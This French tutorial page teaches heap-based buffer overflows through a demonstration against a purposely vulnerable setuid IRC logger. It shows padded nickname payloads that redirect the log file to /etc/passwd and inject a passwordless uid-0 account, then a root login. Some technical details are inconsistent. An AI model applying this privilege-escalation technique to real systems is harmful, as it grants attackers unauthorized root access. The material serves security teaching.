Les Buffer-Overflows


<< Les stack-based overflows Les bss-based overflows >>


III°) Le heap-based overflow

Les overflows dans le heap
   Les deux types d'exploitation qui suivent (basés sur l'overflow dans les segments bss et heap) sont légèrement différents du stack-based overflow. Dans l'exemple précédent, le but ultime est finalement d'écraser l'adresse de retour pour changer le flux d'éxécution du programme. Dans le cas que nous allons traiter tout de suite, les cas de dépassement de mémoire dans le heap, il n'y a plus possibilité de déterminer l'éloignement de cette adresse de retour. Par conséquent, les overflows dans le heap reposent sur les variables stockées après le buffer. Plus que jamais, il est nécessaire non seulement d'être inventif pour savoir comment exploiter ce type de faille, mais surtout, il faut avoir une vision claire du déroulement du programme et savoir analyser les répercussions que peuvent avoir le changement de certaines variables sur le reste du programme. Bien qu'il n'y ait pas d'exemples d'école comme il a pu y en avoir dans le cas des overflows sur pile, nous avons décidé de donner un exemple d'exploitation commun, à savoir le dépassement de mémoire sur le nom d'un fichier qui permet l'ouverture d'un compte root par l'écriture dans le fichier /etc/passwd.
Je note ici que les overflows dans le heap sont les plus courant et souvent les plus difficiles à exploiter : les erreurs d'utilisation de malloc()/free() ou new/delete en C++ sont les plus fréquents et leurs exploitations très spécifiques. Il est souvent possible d'en obtenir une exécution arbitraire à la manière de l'article précédent, mais cela demande une connaissance bien plus fine des mécanismes de réservation dans le heap utilisés.

Un exemple d'exploitation
   Le programme qui suit est le début d'un robot IRC. La particularité qu'a ce robot est qu'il loggue (enregistre) tout ce qu'il reçoit dans le fichier /tmp/irc_logs. Pour que tout le monde puisse l'utiliser comme il l'entend, le programme est un SRP. Contrairement aux autres rubriques, nous n'avons pas collé le code sur la page car il est un peu plus compliqué et un peu plus long que d'habitude (un peu plus de 150 lignes). Nous pensons l'avoir suffisamment commenté pour la compréhension d'un jeune programmeur lambda. Voici le lien :

irc-logger.c


Voici un exemple d'éxécution de ce programme et le contenu de /tmp/irc_logs après coup :
    $ ./irc-logger
    Veuillez entrer l'adresse du serveur : irc.freenode.org
    Veuillez entrer le port du serveur : 6667

    Veuillez entrer le pseudo du bot : testbot

    Connexion à irc.freenode.org:6667... Ok
    Création d'un socket non-bloquant... Ok
    Ouverture du fichier /tmp/irc_logs... Ok

    Envoi : NICK testbot
    USER testbot . . :testbot

    Fermeture de la connexion
    $ cat /tmp/irc_logs
    NOTICE AUTH :*** Looking up your hostname...

    NOTICE AUTH :*** Checking ident
    NOTICE AUTH :*** No identd (auth) response

    NOTICE AUTH :*** Found your hostname

    :heinlein.freenode.net 433 * testbot :Nickname is already in use.

    ERROR :Closing Link: 127.0.0.1 (Connection Timed Out)

    $

Apparemment le bot fonctionne bien : il se connecte, envoie bien les bons messages, les reçoit et sais reconnaître quand la connexion est rompue. Maintenant, avec nos connaissance sur la segmentation de la mémoire d'un programme, on voit que les deux buffers pseudo_bot et fichier_log se suivent dans le heap. Par conséquent, un overflow de pseudo_bot sur fichier_log devrait nous permettre de changer le fichier de logs dont se sert le bot. Avant de vérifier ce que nous venons de dire, il nous faut parler de l'allocation de mémoire par les compilateurs. En fait, un compilateur n'alloue pas le nombre de bytes exact qui est demandé : il alloue le nombre de byte arrondi au multiplicteur de 16 le plus proche plus 8 bytes. Autrement dit, dans notre cas, le buffer pseudo_bot est composé de ses 30 bytes demandés, plus 2 pour aller au prochain multiplicateur de 16 (32) plus 8 bytes. On a donc un espace alloué de 40 bytes. Les 10 bytes qui sont réservées entre l'espace du buffer et le prochain bloc alloué (ici du 31eme byte au 40eme) sont appellées les dummy bytes ou octets factices. Nous n'allons pas discuter leur intérêt ici, mais il faut savoir qu'elles existent. Ainsi, l'overflow avant le fichier vers lequel on veut rediriger les logs doit être long de 40 bytes exactement. En voici l'illustration :
    $ ./irc-logger
    Veuillez entrer l'adresse du serveur : irc.freenode.org
    Veuillez entrer le port du serveur : 6667

    Veuillez entrer le pseudo du bot : aqwzsxedcrfvtgbyhnujikolpmaqwzsxedcrfvtg/tmp/test

    Connexion à irc.freenode.org:6667... Ok
    Création d'un socket non-bloquant... Ok
    Ouverture du fichier /tmp/test... Ok

    Envoi : NICK aqwzsxedcrfvtgbyhnujikolpmaqwzsxedcrfvtg/tmp/test
    USER aqwzsxedcrfvtgbyhnujikolpmaqwzsxedcrfvtg/tmp/test . . :aqwzsxedcrfvtgbyhnujikolpmaqwzsxedcrfvtg/tmp/test

    //Ici, on a demandé au programme de se terminer avec Ctrl + C, d'où l'absence de messages
    $ cat /tmp/test
    NOTICE AUTH :*** Looking up your hostname...

    NOTICE AUTH :*** Checking ident
    NOTICE AUTH :*** Found your hostname

    NOTICE AUTH :*** No identd (auth) response
    :kornbluth.freenode.net 001 aqwzsxedcrfvtgby :Welcome to the freenode IRC Network aqwzsxedcrfvtgby
    :kornbluth.freenode.net 002 aqwzsxedcrfvtgby :Your host is kornbluth.freenode.net[freenode.freenode.net/6667], running version hyperion-1.0.2b
    NOTICE aqwzsxedcrfvtgby :*** Your host is kornbluth.freenode.net[freenode.freenode.net/6667], running version hyperion-1.0.2b
    :kornbluth.freenode.net 003 aqwzsxedcrfvtgby :This server was created Fri Dec 22 00:08:18 UTC 2006
    //La suite du texte a été coupée
Ainsi, nous avons facilement atteint notre premier objectif qui était de pouvoir modifier librement le nom du fichier dans lequel étaient stockées les logs. Notre deuxième objectif est de contrôler ce qui est reçu. Pourquoi ne pas créer notre propre serveur qui enverra les lignes que nous voulons dans le fichier ? Cela relève plutôt de la technique de programmation plutôt que de la connaissance de la mémoire, mais nous avons choisi de vous le montrer en tant que complément du programme de connexion client qu'est Irc-logger. Voici donc le code de notre serveur :

serveur.c


Maintenant, on démarre le serveur et on essaie de le contacter avec le bot :
    $gcc -o serveur serveur.c
    $ ./serveur
    Serveur démarré sur le port 6667
    Connexion entrante de 213.186.33.87
    H4ck3d !
    $

    Par ailleurs :

    $ ./irc-logger
    Veuillez entrer l'adresse du serveur : localhost
    Veuillez entrer le port du serveur : 6667

    Veuillez entrer le pseudo du bot : testbot

    Connexion à localhost:6667... Ok
    Création d'un socket non-bloquant... Ok
    Ouverture du fichier /tmp/irc_logs... Ok

    Envoi : NICK testbot
    USER testbot . . :testbot

    Fermeture de la connexion
    $ cat /tmp/irc_logs
    Hello you

    $
On est donc capable de contrôler à la fois où le programme écrit et ce qu'il écrit. Penchons-nous maintenant vers le fichier /etc/passwd. Voici deux lignes typiques de ce genre de fichier :
    root:x:0:0:root:/root:/bin/bash
    SeriousHack:x:1001:1001:,,,:/home/SeriousHack:/bin/bash
Ce sont donc des groupes séparés par des caractères :. Le premier groupe (dans la deuxième ligne de l'exemple, "SeriousHack") est le login. Le deuxième est soit un x, soit rien, ce qui signifie respectivement qu'il y a besoin d'un mot de passe ou non pour être authentifié avec ce login. Les deux groupes suivant sont l'user id et le group id. Le prochain groupe est une série d'informations sans trop d'importance. L'avant-dernier groupe est le répertoire personnel ou home de l'utilisateur et enfin, le dernier groupe représente le shell, en général /bin/bash.
Mais que ce passerait-il si on essayait d'ajouter la ligne compteperso::0:0:root:/root:/bin/bash au fichier ? Et bien essayons ! On change ENVOI avec la ligne que l'on veut ajouter à /etc/passwd et on lance le serveur. On éxécute ensuite l'overflow sur le bot IRC :
    $ ./irc-logger
    Veuillez entrer l'adresse du serveur : localhost
    Veuillez entrer le port du serveur : 6667

    Veuillez entrer le pseudo du bot : azertyuiopqsdfghjklmwxcvbnazertyuiopqsdf/etc/passwd

    Connexion à localhost:6667... Ok
    Création d'un socket non-bloquant... Ok
    Ouverture du fichier /etc/passwd... Ok

    Envoi : NICK azertyuiopqsdfghjklmwxcvbnazertyuiopqsdf/etc/passwd
    USER azertyuiopqsdfghjklmwxcvbnazertyuiopqsdf/etc/passwd . . :azertyuiopqsdfghjklmwxcvbnazertyuiopqsdf/etc/passwd

    Fermeture de la connexion

    $ cat /etc/passwd
    root:x:0:0:root:/root:/bin/bash
    SeriousHack:x:1001:1001:,,,:/home/SeriousHack:/bin/bash
    compteperso::0:0:root:/root:/bin/bash
L'ajout de la ligne a bien marché, il ne nous reste plus qu'à vérifier si la théorie que nous avons raconté n'est pas finalement fausse ;-) Puisque dans les versions récentes la commande su demande toujours un mot de passe, il peut être nécessaire de se loguer sur l'un des ttys :
    Debian GNU/Linux lenny/sid SeriousHack tty3

    SeriousHack login: compteperso
    Linux SeriousHack 2.6.18-4-686 #1 SMP Wed May 9 23:03:12 UTC 2007 i686

    SeriousHack:~#logname && whoami && id
    compteperso
    root
    uid=0(root) gid=0(root) groupes=0(root)
    SeriousHack:~#
Donc apparemment tout a bien marché comme prévu. Cet exemple n'est pas typique des heap-based overflow, comme nous l'avons expliqué, il répond à une situation particulière et c'est pourquoi tout le monde n'est pas capable d'utiliser des overflows dans le heap car cela demande une inventivité et une compréhension assez développées. Ceci dit, cet exemple a aussi permit de voir une nouvelle technique de prise de contrôle du système (bon, légèrement obsolète..), à savoir l'utilisation de /etc/passwd à travers les SRP ainsi que la programmation client/serveur en sockets qui est une arme incontournable de la programmation d'accès à distance. Il reste encore un segment où les dépassements de mémoire peuvent être intéressants : le bss.

<< Les stack-based overflows Les bss-based overflows >>



0 Commentaires




Commentaires désactivés.

Apprendre la base du hacking - Liens sécurité informatique/hacking - Contact

Copyright © Bases-Hacking 2007-2014. All rights reserved.